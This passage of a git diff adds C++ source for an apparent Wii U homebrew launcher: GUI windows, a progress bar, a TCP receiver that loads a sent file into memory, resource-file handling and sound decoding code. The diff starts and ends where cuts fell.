drcElements.size()); ++i) + { + drcElements[i]->update(controller); + } + } + else + { + u32 tvSize = tvElements.size(); + + for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) + { + tvElements[i]->update(controller); + } + } + +// //! only update TV elements that are not updated yet because they are on DRC +// for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) +// { +// u32 n; +// for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) +// { +// if(tvElements[i] == drcElements[n]) +// break; +// } +// if(n == drcElements.size()) +// { +// tvElements[i]->update(controller); +// } +// } + + if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer) + { + int wpadIdx = controller->chanIdx - 1; + f32 posX = controller->data.x; + f32 posY = controller->data.y; + pointerImg[wpadIdx]->setPosition(posX, posY); + pointerImg[wpadIdx]->setAngle(controller->data.pointerAngle); + pointerValid[wpadIdx] = true; + } +} + +void MainWindow::drawDrc(CVideo *video) +{ + for(u32 i = 0; i < drcElements.size(); ++i) + { + drcElements[i]->draw(video); + } + + for(int i = 0; i < 4; i++) + { + if(pointerValid[i]) + { + pointerImg[i]->setAlpha(0.5f); + pointerImg[i]->draw(video); + pointerImg[i]->setAlpha(1.0f); + } + } +} + +void MainWindow::drawTv(CVideo *video) +{ + for(u32 i = 0; i < tvElements.size(); ++i) + { + tvElements[i]->draw(video); + } + + for(int i = 0; i < 4; i++) + { + if(pointerValid[i]) + { + pointerImg[i]->draw(video); + pointerValid[i] = false; + } + } +} diff --git a/src/menu/MainWindow.h b/src/menu/MainWindow.h new file mode 100644 index 0000000..77ea00f --- /dev/null +++ b/src/menu/MainWindow.h @@ -0,0 +1,132 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _MAIN_WINDOW_H_ +#define _MAIN_WINDOW_H_ + +#include +#include +#include "gui/Gui.h" +#include "HomebrewWindow.h" +#include "gui/GuiParticleImage.h" + +class CVideo; + +class MainWindow : public sigslot::has_slots<> +{ +public: + MainWindow(int w, int h); + virtual ~MainWindow(); + + void appendTv(GuiElement *e) + { + if(!e) + return; + + removeTv(e); + tvElements.push_back(e); + } + void appendDrc(GuiElement *e) + { + if(!e) + return; + + removeDrc(e); + drcElements.push_back(e); + } + + void append(GuiElement *e) + { + appendTv(e); + appendDrc(e); + } + + void insertTv(u32 pos, GuiElement *e) + { + if(!e) + return; + + removeTv(e); + tvElements.insert(tvElements.begin() + pos, e); + } + void insertDrc(u32 pos, GuiElement *e) + { + if(!e) + return; + + removeDrc(e); + drcElements.insert(drcElements.begin() + pos, e); + } + + void insert(u32 pos, GuiElement *e) + { + insertTv(pos, e); + insertDrc(pos, e); + } + + void removeTv(GuiElement *e) + { + for(u32 i = 0; i < tvElements.size(); ++i) + { + if(e == tvElements[i]) + { + tvElements.erase(tvElements.begin() + i); + break; + } + } + } + void removeDrc(GuiElement *e) + { + for(u32 i = 0; i < drcElements.size(); ++i) + { + if(e == drcElements[i]) + { + drcElements.erase(drcElements.begin() + i); + break; + } + } + } + + void remove(GuiElement *e) + { + removeTv(e); + removeDrc(e); + } + void removeAll() + { + tvElements.clear(); + drcElements.clear(); + } + + void drawDrc(CVideo *video); + void drawTv(CVideo *video); + void update(GuiController *controller); + void updateEffects(); +private: + int width, height; + std::vector drcElements; + std::vector tvElements; + + GuiImage bgImageColor; + GuiParticleImage bgParticleImg; + HomebrewWindow homebrewWindow; + + GuiImageData *pointerImgData[4]; + GuiImage *pointerImg[4]; + bool pointerValid[4]; +}; + +#endif //_MAIN_WINDOW_H_ diff --git a/src/menu/ProgressWindow.cpp b/src/menu/ProgressWindow.cpp new file mode 100644 index 0000000..c93295f --- /dev/null +++ b/src/menu/ProgressWindow.cpp @@ -0,0 +1,67 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "ProgressWindow.h" +#include "video/CVideo.h" + +ProgressWindow::ProgressWindow(const std::string & title) + : GuiFrame(0, 0) + , bgImageData(Resources::GetImageData("progressWindow.png")) + , bgImage(bgImageData) + , progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255}) + , progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255}) +{ + width = bgImage.getWidth(); + height = bgImage.getHeight(); + + append(&progressImageBlack); + append(&progressImageColored); + append(&bgImage); + + progressImageColored.setAlignment(ALIGN_TOP_LEFT); + progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 0); + progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 1); + progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 2); + progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 3); + + titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); + titleText.setFontSize(36); + titleText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + titleText.setPosition(50, 0); + titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); + titleText.setText(title.c_str()); + append(&titleText); + + progressImageColored.setParent(&progressImageBlack); + titleText.setParent(&progressImageBlack); + + setProgress(0.0f); +} + +ProgressWindow::~ProgressWindow() +{ + Resources::RemoveImageData(bgImageData); +} + +void ProgressWindow::setTitle(const std::string & title) +{ + titleText.setText(title.c_str()); +} + +void ProgressWindow::setProgress(f32 percent) +{ + progressImageColored.setSize(percent * 0.01f * progressImageBlack.getWidth(), progressImageColored.getHeight()); +} diff --git a/src/menu/ProgressWindow.h b/src/menu/ProgressWindow.h new file mode 100644 index 0000000..fd17954 --- /dev/null +++ b/src/menu/ProgressWindow.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _PROGRESS_WINDOW_H_ +#define _PROGRESS_WINDOW_H_ + +#include "gui/Gui.h" + +class ProgressWindow : public GuiFrame, public sigslot::has_slots<> +{ +public: + ProgressWindow(const std::string & titleText); + virtual ~ProgressWindow(); + + void setProgress(f32 percent); + void setTitle(const std::string & title); +private: + + GuiText titleText; + GuiImageData *bgImageData; + GuiImage bgImage; + GuiImage progressImageBlack; + GuiImage progressImageColored; + + GuiTrigger touchTrigger; + GuiTrigger wpadTouchTrigger; +}; + +#endif //_PROGRESS_WINDOW_H_ diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp new file mode 100644 index 0000000..27ae8f0 --- /dev/null +++ b/src/menu/TcpReceiver.cpp @@ -0,0 +1,215 @@ +#include +#include +#include +#include + +#include "TcpReceiver.h" +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "fs/CFile.hpp" +#include "utils/logger.h" +#include "utils/StringTools.h" + +TcpReceiver::TcpReceiver(int port) + : GuiFrame(0, 0) + , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) + , exitRequested(false) + , loadAddress(0) + , serverPort(port) + , serverSocket(-1) + , progressWindow("Receiving file...") +{ + width = progressWindow.getWidth(); + height = progressWindow.getHeight(); + append(&progressWindow); + + u32 ApplicationMemoryEnd; + asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd)); + + loadAddress = (unsigned char*)ApplicationMemoryEnd; + resumeThread(); +} + +TcpReceiver::~TcpReceiver() +{ + exitRequested = true; + + if(serverSocket > 0) + { + shutdown(serverSocket, SHUT_RDWR); + } +} + +void TcpReceiver::executeThread() +{ + serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + if (serverSocket < 0) + return; + + u32 enable = 1; + setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)); + + struct sockaddr_in bindAddress; + memset(&bindAddress, 0, sizeof(bindAddress)); + bindAddress.sin_family = AF_INET; + bindAddress.sin_port = serverPort; + bindAddress.sin_addr.s_addr = INADDR_ANY; + + s32 ret; + if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0) { + socketclose(serverSocket); + return; + } + + if ((ret = listen(serverSocket, 3)) < 0) { + socketclose(serverSocket); + return; + } + + struct sockaddr_in clientAddr; + s32 addrlen = sizeof(struct sockaddr); + + while(!exitRequested) + { + s32 clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &addrlen); + if(clientSocket >= 0) + { + u32 ipAddress = clientAddr.sin_addr.s_addr; + serverReceiveStart(this, ipAddress); + int result = loadToMemory(clientSocket, ipAddress); + serverReceiveFinished(this, ipAddress, result); + socketclose(clientSocket); + } + else + { + usleep(100000); + } + } + + socketclose(serverSocket); +} + +int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) +{ + log_printf("Loading file from ip %08X\n", ipAddress); + + u32 fileSize = 0; + u32 fileSizeUnc = 0; + unsigned char haxx[8]; + //skip haxx + recv(clientSocket, haxx, 8, 0); + recv(clientSocket, &fileSize, 4, 0); + + if (haxx[4] > 0 || haxx[5] > 4) + { + recv(clientSocket, &fileSizeUnc, 4, 0); // Compressed protocol, read another 4 bytes + } + + u32 bytesRead = 0; + struct in_addr in; + in.s_addr = ipAddress; + progressWindow.setTitle(strfmt("Loading file from %s", inet_ntoa(in))); + + log_printf("transfer start\n"); + + std::string strBuffer; + strBuffer.resize(0x1000); + + // Copy rpl in memory + while(bytesRead < fileSize) + { + progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize); + + u32 blockSize = strBuffer.size(); + if(blockSize > (fileSize - bytesRead)) + blockSize = fileSize - bytesRead; + + if((u32)(loadAddress + bytesRead + blockSize) > 0x01000000) + { + log_printf("File ist too big\n"); + return NOT_ENOUGH_MEMORY; + } + + int ret = recv(clientSocket, &strBuffer[0], blockSize, 0); + if(ret <= 0) + { + log_printf("Failure on reading file\n"); + break; + } + + memcpy(loadAddress + bytesRead, &strBuffer[0], ret); + bytesRead += ret; + } + + progressWindow.setProgress((f32)bytesRead / (f32)fileSize); + + if(bytesRead != fileSize) + { + log_printf("File loading not finished, %i of %i bytes received\n", bytesRead, fileSize); + return FILE_READ_ERROR; + } + + // Do we need to unzip this thing? + if (haxx[4] > 0 || haxx[5] > 4) + { + // We need to unzip... + if (loadAddress[0] == 'P' && loadAddress[1] == 'K' && loadAddress[2] == 0x03 && loadAddress[3] == 0x04) + { + //! TODO: + //! mhmm this is incorrect, it has to parse the zip + + // Section is compressed, inflate + std::string inflatedData; + inflatedData.resize(fileSizeUnc); + + int ret = 0; + z_stream s; + memset(&s, 0, sizeof(s)); + + s.zalloc = Z_NULL; + s.zfree = Z_NULL; + s.opaque = Z_NULL; + + ret = inflateInit(&s); + if (ret != Z_OK) + return FILE_READ_ERROR; + + s.avail_in = fileSize; + s.next_in = (Bytef *)(&loadAddress[0]); + + s.avail_out = fileSizeUnc; + s.next_out = (Bytef *)&inflatedData[0]; + + ret = inflate(&s, Z_FINISH); + if (ret != Z_OK && ret != Z_STREAM_END) + return FILE_READ_ERROR; + + inflateEnd(&s); + + if(fileSizeUnc > (0x01000000 - (u32)loadAddress)) + return FILE_READ_ERROR; + + memcpy(loadAddress, &inflatedData[0], fileSizeUnc); + fileSize = fileSizeUnc; + } + else + { + // Section is compressed, inflate + std::string inflatedData; + inflatedData.resize(fileSizeUnc); + + uLongf f = fileSizeUnc; + int result = uncompress((Bytef*)&inflatedData[0], &f, (Bytef*)loadAddress, fileSize); + if(result != Z_OK) + { + log_printf("uncompress failed %i\n", result); + return FILE_READ_ERROR; + } + + fileSizeUnc = f; + memcpy(loadAddress, &inflatedData[0], fileSizeUnc); + fileSize = fileSizeUnc; + } + } + return fileSize; +} diff --git a/src/menu/TcpReceiver.h b/src/menu/TcpReceiver.h new file mode 100644 index 0000000..cf572d6 --- /dev/null +++ b/src/menu/TcpReceiver.h @@ -0,0 +1,43 @@ +#ifndef TCP_RECEIVER_H_ +#define TCP_RECEIVER_H_ + +#include +#include +#include + +#include "ProgressWindow.h" +#include "system/CThread.h" +#include "gui/sigslot.h" + +class TcpReceiver : public GuiFrame, public CThread +{ +public: + enum eLoadResults + { + SUCCESS = 0, + INVALID_INPUT = -1, + FILE_OPEN_FAILURE = -2, + FILE_READ_ERROR = -3, + NOT_ENOUGH_MEMORY = -4, + }; + + TcpReceiver(int port); + ~TcpReceiver(); + + sigslot::signal2 serverReceiveStart; + sigslot::signal3 serverReceiveFinished; + +private: + + void executeThread(); + int loadToMemory(s32 clientSocket, u32 ipAddress); + + bool exitRequested; + unsigned char *loadAddress; + s32 serverPort; + s32 serverSocket; + ProgressWindow progressWindow; +}; + + +#endif diff --git a/src/resources/Resources.cpp b/src/resources/Resources.cpp new file mode 100644 index 0000000..eabee60 --- /dev/null +++ b/src/resources/Resources.cpp @@ -0,0 +1,189 @@ +#include +#include +#include +#include "Resources.h" +#include "filelist.h" +#include "system/AsyncDeleter.h" +#include "fs/fs_utils.h" +#include "gui/GuiImageAsync.h" +#include "gui/GuiSound.h" + +Resources * Resources::instance = NULL; + +void Resources::Clear() +{ + for(int i = 0; RecourceList[i].filename != NULL; ++i) + { + if(RecourceList[i].CustomFile) + { + free(RecourceList[i].CustomFile); + RecourceList[i].CustomFile = NULL; + } + + if(RecourceList[i].CustomFileSize != 0) + RecourceList[i].CustomFileSize = 0; + } + + if(instance) + delete instance; + + instance = NULL; +} + +bool Resources::LoadFiles(const char * path) +{ + if(!path) + return false; + + bool result = false; + Clear(); + + for(int i = 0; RecourceList[i].filename != NULL; ++i) + { + std::string fullpath(path); + fullpath += "/"; + fullpath += RecourceList[i].filename; + + u8 * buffer = NULL; + u32 filesize = 0; + + LoadFileToMem(fullpath.c_str(), &buffer, &filesize); + + RecourceList[i].CustomFile = buffer; + RecourceList[i].CustomFileSize = (u32) filesize; + result |= (buffer != 0); + } + + return result; +} + +const u8 * Resources::GetFile(const char * filename) +{ + for(int i = 0; RecourceList[i].filename != NULL; ++i) + { + if(strcasecmp(filename, RecourceList[i].filename) == 0) + { + return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile); + } + } + + return NULL; +} + +u32 Resources::GetFileSize(const char * filename) +{ + for(int i = 0; RecourceList[i].filename != NULL; ++i) + { + if(strcasecmp(filename, RecourceList[i].filename) == 0) + { + return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize); + } + } + return 0; +} + +GuiImageData * Resources::GetImageData(const char * filename) +{ + if(!instance) + instance = new Resources; + + std::map >::iterator itr = instance->imageDataMap.find(std::string(filename)); + if(itr != instance->imageDataMap.end()) + { + itr->second.first++; + return itr->second.second; + } + + for(int i = 0; RecourceList[i].filename != NULL; ++i) + { + if(strcasecmp(filename, RecourceList[i].filename) == 0) + { + const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; + const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; + + if(buff == NULL) + return NULL; + + GuiImageData * image = new GuiImageData(buff, size); + instance->imageDataMap[std::string(filename)].first = 1; + instance->imageDataMap[std::string(filename)].second = image; + + return image; + } + } + + return NULL; +} + +void Resources::RemoveImageData(GuiImageData * image) +{ + std::map >::iterator itr; + + for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++) + { + if(itr->second.second == image) + { + itr->second.first--; + + if(itr->second.first == 0) + { + AsyncDeleter::pushForDelete( itr->second.second ); + instance->imageDataMap.erase(itr); + } + break; + } + } +} + +GuiSound * Resources::GetSound(const char * filename) +{ + if(!instance) + instance = new Resources; + + std::map >::iterator itr = instance->soundDataMap.find(std::string(filename)); + if(itr != instance->soundDataMap.end()) + { + itr->second.first++; + return itr->second.second; + } + + for(int i = 0; RecourceList[i].filename != NULL; ++i) + { + if(strcasecmp(filename, RecourceList[i].filename) == 0) + { + const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; + const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; + + if(buff == NULL) + return NULL; + + GuiSound * sound = new GuiSound(buff, size); + instance->soundDataMap[std::string(filename)].first = 1; + instance->soundDataMap[std::string(filename)].second = sound; + + return sound; + } + } + + return NULL; +} + +void Resources::RemoveSound(GuiSound * sound) +{ + std::map >::iterator itr; + + for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++) + { + if(itr->second.second == sound) + { + itr->second.first--; + + if(itr->second.first == 0) + { + AsyncDeleter::pushForDelete( itr->second.second ); + instance->soundDataMap.erase(itr); + } + break; + } + } +} diff --git a/src/resources/Resources.h b/src/resources/Resources.h new file mode 100644 index 0000000..3d0921b --- /dev/null +++ b/src/resources/Resources.h @@ -0,0 +1,34 @@ +#ifndef RECOURCES_H_ +#define RECOURCES_H_ + + +#include + +//! forward declaration +class GuiImageData; +class GuiSound; + +class Resources +{ +public: + static void Clear(); + static bool LoadFiles(const char * path); + static const u8 * GetFile(const char * filename); + static u32 GetFileSize(const char * filename); + + static GuiImageData * GetImageData(const char * filename); + static void RemoveImageData(GuiImageData * image); + + static GuiSound * GetSound(const char * filename); + static void RemoveSound(GuiSound * sound); +private: + static Resources *instance; + + Resources() {} + ~Resources() {} + + std::map > imageDataMap; + std::map > soundDataMap; +}; + +#endif diff --git a/src/resources/filelist.h b/src/resources/filelist.h new file mode 100644 index 0000000..b359fc3 --- /dev/null +++ b/src/resources/filelist.h @@ -0,0 +1,80 @@ +/**************************************************************************** + * Loadiine resource files. + * This file is generated automatically. + * Includes 13 files. + * + * NOTE: + * Any manual modification of this file will be overwriten by the generation. + ****************************************************************************/ +#ifndef _FILELIST_H_ +#define _FILELIST_H_ + +#include + +typedef struct _RecourceFile +{ + const char *filename; + const u8 *DefaultFile; + const u32 &DefaultFileSize; + u8 *CustomFile; + u32 CustomFileSize; +} RecourceFile; + +extern const u8 bgMusic_ogg[]; +extern const u32 bgMusic_ogg_size; + +extern const u8 button_click_mp3[]; +extern const u32 button_click_mp3_size; + +extern const u8 button_png[]; +extern const u32 button_png_size; + +extern const u8 font_ttf[]; +extern const u32 font_ttf_size; + +extern const u8 homebrewButton_png[]; +extern const u32 homebrewButton_png_size; + +extern const u8 launchMenuBox_png[]; +extern const u32 launchMenuBox_png_size; + +extern const u8 leftArrow_png[]; +extern const u32 leftArrow_png_size; + +extern const u8 player1_point_png[]; +extern const u32 player1_point_png_size; + +extern const u8 player2_point_png[]; +extern const u32 player2_point_png_size; + +extern const u8 player3_point_png[]; +extern const u32 player3_point_png_size; + +extern const u8 player4_point_png[]; +extern const u32 player4_point_png_size; + +extern const u8 progressWindow_png[]; +extern const u32 progressWindow_png_size; + +extern const u8 rightArrow_png[]; +extern const u32 rightArrow_png_size; + +static RecourceFile RecourceList[] = +{ + {"bgMusic.ogg", bgMusic_ogg, bgMusic_ogg_size, NULL, 0}, + {"button_click.mp3", button_click_mp3, button_click_mp3_size, NULL, 0}, + {"button.png", button_png, button_png_size, NULL, 0}, + {"font.ttf", font_ttf, font_ttf_size, NULL, 0}, + {"homebrewButton.png", homebrewButton_png, homebrewButton_png_size, NULL, 0}, + {"launchMenuBox.png", launchMenuBox_png, launchMenuBox_png_size, NULL, 0}, + {"leftArrow.png", leftArrow_png, leftArrow_png_size, NULL, 0}, + {"player1_point.png", player1_point_png, player1_point_png_size, NULL, 0}, + {"player2_point.png", player2_point_png, player2_point_png_size, NULL, 0}, + {"player3_point.png", player3_point_png, player3_point_png_size, NULL, 0}, + {"player4_point.png", player4_point_png, player4_point_png_size, NULL, 0}, + {"progressWindow.png", progressWindow_png, progressWindow_png_size, NULL, 0}, + {"rightArrow.png", rightArrow_png, rightArrow_png_size, NULL, 0}, + {NULL, NULL, 0, NULL, 0} +}; + +#endif diff --git a/src/sounds/BufferCircle.cpp b/src/sounds/BufferCircle.cpp new file mode 100644 index 0000000..b0ee705 --- /dev/null +++ b/src/sounds/BufferCircle.cpp @@ -0,0 +1,142 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include "utils/utils.h" +#include "BufferCircle.hpp" + +BufferCircle::BufferCircle() +{ + which = 0; + BufferBlockSize = 0; +} + +BufferCircle::~BufferCircle() +{ + FreeBuffer(); + SoundBuffer.clear(); + BufferSize.clear(); + BufferReady.clear(); +} + +void BufferCircle::SetBufferBlockSize(int size) +{ + if(size < 0) + return; + + BufferBlockSize = size; + + for(int i = 0; i < Size(); i++) + { + if(SoundBuffer[i] != NULL) + free(SoundBuffer[i]); + + SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize)); + BufferSize[i] = 0; + BufferReady[i] = false; + } +} + +void BufferCircle::Resize(int size) +{ + while(size < Size()) + RemoveBuffer(Size()-1); + + int oldSize = Size(); + + SoundBuffer.resize(size); + BufferSize.resize(size); + BufferReady.resize(size); + + for(int i = oldSize; i < Size(); i++) + { + if(BufferBlockSize > 0) + SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize)); + else + SoundBuffer[i] = NULL; + BufferSize[i] = 0; + BufferReady[i] = false; + } +} + +void BufferCircle::RemoveBuffer(int pos) +{ + if(!Valid(pos)) + return; + + if(SoundBuffer[pos] != NULL) + free(SoundBuffer[pos]); + + SoundBuffer.erase(SoundBuffer.begin()+pos); + BufferSize.erase(BufferSize.begin()+pos); + BufferReady.erase(BufferReady.begin()+pos); +} + +void BufferCircle::ClearBuffer() +{ + for(int i = 0; i < Size(); i++) + { + BufferSize[i] = 0; + BufferReady[i] = false; + } + which = 0; +} + +void BufferCircle::FreeBuffer() +{ + for(int i = 0; i < Size(); i++) + { + if(SoundBuffer[i] != NULL) + free(SoundBuffer[i]); + + SoundBuffer[i] = NULL; + BufferSize[i] = 0; + BufferReady[i] = false; + } +} + +void BufferCircle::LoadNext() +{ + BufferReady[which] = false; + BufferSize[which] = 0; + + which = Next(); +} + +void BufferCircle::SetBufferReady(int pos, bool state) +{ + if(!Valid(pos)) + return; + + BufferReady[pos] = state; +} + +void BufferCircle::SetBufferSize(int pos, int size) +{ + if(!Valid(pos)) + return; + + BufferSize[pos] = size; +} diff --git a/src/sounds/BufferCircle.hpp b/src/sounds/BufferCircle.hpp new file mode 100644 index 0000000..b07c1c4 --- /dev/null +++ b/src/sounds/BufferCircle.hpp @@ -0,0 +1,86 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#ifndef BUFFER_CIRCLE_HPP_ +#define BUFFER_CIRCLE_HPP_ + +#include +#include + +class BufferCircle +{ + public: + //!> Constructor + BufferCircle(); + //!> Destructor + ~BufferCircle(); + //!> Set circle size + void Resize(int size); + //!> Get the circle size + int Size() { return SoundBuffer.size(); }; + //!> Set/resize the buffer size + void SetBufferBlockSize(int size); + //!> Remove a buffer + void RemoveBuffer(int pos); + //!> Set all buffers clear + void ClearBuffer(); + //!> Free all buffers + void FreeBuffer(); + //!> Switch to next buffer + void LoadNext(); + //!> Get the current buffer + u8 * GetBuffer() { return GetBuffer(which); }; + //!> Get a buffer at a position + u8 * GetBuffer(int pos) { if(!Valid(pos)) return NULL; else return SoundBuffer[pos]; }; + //!> Get current buffer size + u32 GetBufferSize() { return GetBufferSize(which); }; + //!> Get buffer size at position + u32 GetBufferSize(int pos) { if(!Valid(pos)) return 0; else return BufferSize[pos]; }; + //!> Is current buffer ready + bool IsBufferReady() { return IsBufferReady(which); }; + //!> Is a buffer at a position ready + bool IsBufferReady(int pos) { if(!Valid(pos)) return false; else return BufferReady[pos]; }; + //!> Set a buffer at a position to a ready state + void SetBufferReady(int pos, bool st); + //!> Set the buffersize at a position + void SetBufferSize(int pos, int size); + //!> Get the current position in the circle + u16 Which() { return which; }; + + //!> Get the next location + inline u16 Next() { return (which+1 >= Size()) ? 0 : which+1; } + inline u16 Prev() { if(Size() == 0) return 0; else return ((int)which-1 < 0) ? Size()-1 : which-1; } + protected: + //!> Check if the position is a valid position in the vector + bool Valid(int pos) { return !(pos < 0 || pos >= Size()); }; + + u16 which; + u32 BufferBlockSize; + std::vector SoundBuffer; + std::vector BufferSize; + std::vector BufferReady; +}; + +#endif diff --git a/src/sounds/Mp3Decoder.cpp b/src/sounds/Mp3Decoder.cpp new file mode 100644 index 0000000..1246b4a --- /dev/null +++ b/src/sounds/Mp3Decoder.cpp @@ -0,0 +1,217 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include "dynamic_libs/os_functions.h" +#include "Mp3Decoder.hpp" + +Mp3Decoder::Mp3Decoder(const char * filepath) + : SoundDecoder(filepath) +{ + SoundType = SOUND_MP3; + ReadBuffer = NULL; + mad_timer_reset(&Timer); + mad_stream_init(&Stream); + mad_frame_init(&Frame); + mad_synth_init(&Synth); + + if(!file_fd) + return; + + OpenFile(); +} + +Mp3Decoder::Mp3Decoder(const u8 * snd, int len) + : SoundDecoder(snd, len) +{ + SoundType = SOUND_MP3; + ReadBuffer = NULL; + mad_timer_reset(&Timer); + mad_stream_init(&Stream); + mad_frame_init(&Frame); + mad_synth_init(&Synth); + + if(!file_fd) + return; + + OpenFile(); +} + +Mp3Decoder::~Mp3Decoder() +{ + ExitRequested = true; + while(Decoding) + usleep(100); + + mad_synth_finish(&Synth); + mad_frame_finish(&Frame); + mad_stream_finish(&Stream); + + if(ReadBuffer) + free(ReadBuffer); + ReadBuffer = NULL; +} + +void Mp3Decoder::OpenFile() +{ + GuardPtr = NULL; + ReadBuffer = (u8 *) memalign(32, SoundBlockSize*SoundBlocks); + if(!ReadBuffer) + { + if(file_fd) + delete file_fd; + file_fd = NULL; + return; + } + + u8 dummybuff[4096]; + int ret = Read(dummybuff, 4096, 0); + if(ret <= 0) + { + if(file_fd) + delete file_fd; + file_fd = NULL; + return; + } + + SampleRate = (u32) Frame.header.samplerate; + Format = ((MAD_NCHANNELS(&Frame.header) == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO)); + Rewind(); +} + +int Mp3Decoder::Rewind() +{ + mad_synth_finish(&Synth); + mad_frame_finish(&Frame); + mad_stream_finish(&Stream); + mad_timer_reset(&Timer); + mad_stream_init(&Stream); + mad_frame_init(&Frame); + mad_synth_init(&Synth); + SynthPos = 0; + GuardPtr = NULL; + + if(!file_fd) + return -1; + + return SoundDecoder::Rewind(); +} + +static inline s16 FixedToShort(mad_fixed_t Fixed) +{ + /* Clipping */ + if(Fixed>=MAD_F_ONE) + return(SHRT_MAX); + if(Fixed<=-MAD_F_ONE) + return(-SHRT_MAX); + + Fixed=Fixed>>(MAD_F_FRACBITS-15); + return((s16)Fixed); +} + +int Mp3Decoder::Read(u8 * buffer, int buffer_size, int pos) +{ + if(!file_fd) + return -1; + + if(Format == (FORMAT_PCM_16_BIT | 